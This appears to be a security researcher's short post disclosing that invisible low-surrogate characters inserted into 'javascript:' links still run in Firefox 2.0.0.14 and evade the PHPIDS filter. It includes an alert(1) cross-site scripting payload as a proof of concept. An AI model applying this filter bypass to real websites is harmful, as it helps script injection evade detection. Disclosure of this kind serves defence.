My javascript protocol fuzzer found some very interesting RTL chars in FF 2.0.0.14
Char: 56320, link: jav�ascript:
Char: 56321, link: jav�ascript:
Char: 56322, link: jav�ascript:
Char: 56323, link: jav�ascript:
Char: 56324, link: jav�ascript:
Char: 56325, link: jav�ascript:
,, ,, ,, ,,
All the way to:-
char: 57343, link: jav�ascript:
These links can get passed the PHPIDS using different placement of the characters
e.g.
<a href="jav�ascript:al�ert(1)">test</a>
Or similar combination
------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [
www.businessinfo.co.uk]
blog : [
www.thespanner.co.uk]
Hackvertor : [
hackvertor.co.uk]